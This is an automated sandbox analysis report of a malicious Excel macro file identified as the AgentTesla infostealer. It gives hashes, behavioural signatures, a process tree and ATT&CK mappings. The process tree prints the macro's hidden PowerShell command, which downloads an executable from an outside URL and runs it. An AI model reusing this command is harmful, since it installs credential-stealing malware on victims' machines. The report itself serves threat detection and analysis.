Analysis

  • max time kernel
    118s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-03-2023 02:30

General

  • Target

    pnlfui.xlsm

  • Size

    430KB

  • MD5

    4b222ff63ba4a27646751b5dadfd3ed7

  • SHA1

    4786533018798fbbb3083910b2459a80b3e60258

  • SHA256

    37eb0640c85ef74c91b533f1fc7cc1ac9584d648330e105fb37b4231f885576c

  • SHA512

    acbfccde01fde8e1ea84d5b7bca67774275f19c5ad4f4b23da340fec651f92998cbbb12937aefd82f9c13d97bb4d3574bf49ad4918d4aebd3f3403266ea7f4a6

  • SSDEEP

    12288:HfMXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UA:HNwarmMSAGMID1R5OtA

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\pnlfui.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://lostheaven.com.cn/wp-includes/BL-1600072563308pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:864
      • C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
        "C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:448
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Accesses Microsoft Outlook profiles
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:4352

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Credential Access

    Credentials in Files

    3
    T1081

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Collection

    Data from Local System

    3
    T1005

    Email Collection

    1
    T1114

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2yjwfy2.the.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
      Filesize

      1.1MB

      MD5

      439d761548b85536d63cd8e4a8d26d8f

      SHA1

      67c92467dc3394d628a4f43b6950d7b340a052b5

      SHA256

      5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292

      SHA512

      2a33a49dd93dd9a7822e2677e076f82f3e2fa33532012fe95605baba9ad2681e146ebec9f225778d25012f3efadfbba9b86321d23ee8572940cd3aff9304b8a3

    • C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
      Filesize

      1.1MB

      MD5

      439d761548b85536d63cd8e4a8d26d8f

      SHA1

      67c92467dc3394d628a4f43b6950d7b340a052b5

      SHA256

      5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292

      SHA512

      2a33a49dd93dd9a7822e2677e076f82f3e2fa33532012fe95605baba9ad2681e146ebec9f225778d25012f3efadfbba9b86321d23ee8572940cd3aff9304b8a3

    • C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
      Filesize

      1.1MB

      MD5

      439d761548b85536d63cd8e4a8d26d8f

      SHA1

      67c92467dc3394d628a4f43b6950d7b340a052b5

      SHA256

      5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292

      SHA512

      2a33a49dd93dd9a7822e2677e076f82f3e2fa33532012fe95605baba9ad2681e146ebec9f225778d25012f3efadfbba9b86321d23ee8572940cd3aff9304b8a3

    • memory/864-149-0x00000219F8490000-0x00000219F84A0000-memory.dmp
      Filesize

      64KB

    • memory/864-160-0x00000219F8490000-0x00000219F84A0000-memory.dmp
      Filesize

      64KB

    • memory/864-155-0x00000219F8440000-0x00000219F8462000-memory.dmp
      Filesize

      136KB

    • memory/864-148-0x00000219F8490000-0x00000219F84A0000-memory.dmp
      Filesize

      64KB

    • memory/3004-179-0x00000000003D0000-0x00000000004EE000-memory.dmp
      Filesize

      1.1MB

    • memory/3004-180-0x000000001B110000-0x000000001B120000-memory.dmp
      Filesize

      64KB

    • memory/4352-184-0x0000000005F50000-0x00000000064F4000-memory.dmp
      Filesize

      5.6MB

    • memory/4352-197-0x0000000005B30000-0x0000000005B40000-memory.dmp
      Filesize

      64KB

    • memory/4352-193-0x00000000075B0000-0x0000000007772000-memory.dmp
      Filesize

      1.8MB

    • memory/4352-192-0x0000000007290000-0x00000000072E0000-memory.dmp
      Filesize

      320KB

    • memory/4352-191-0x0000000007110000-0x000000000711A000-memory.dmp
      Filesize

      40KB

    • memory/4352-190-0x0000000007150000-0x00000000071E2000-memory.dmp
      Filesize

      584KB

    • memory/4352-189-0x0000000005B30000-0x0000000005B40000-memory.dmp
      Filesize

      64KB

    • memory/4352-188-0x00000000059A0000-0x0000000005A06000-memory.dmp
      Filesize

      408KB

    • memory/4352-181-0x0000000000400000-0x0000000000430000-memory.dmp
      Filesize

      192KB

    • memory/4560-135-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-138-0x00007FFF16B00000-0x00007FFF16B10000-memory.dmp
      Filesize

      64KB

    • memory/4560-139-0x00007FFF16B00000-0x00007FFF16B10000-memory.dmp
      Filesize

      64KB

    • memory/4560-134-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-136-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-165-0x00000237ECEE0000-0x00000237ED089000-memory.dmp
      Filesize

      1.7MB

    • memory/4560-137-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-133-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-209-0x00000237ECEE0000-0x00000237ED089000-memory.dmp
      Filesize

      1.7MB

    • memory/4560-213-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-214-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-215-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-216-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp
      Filesize

      64KB

    • memory/4560-217-0x00000237ECEE0000-0x00000237ED089000-memory.dmp
      Filesize

      1.7MB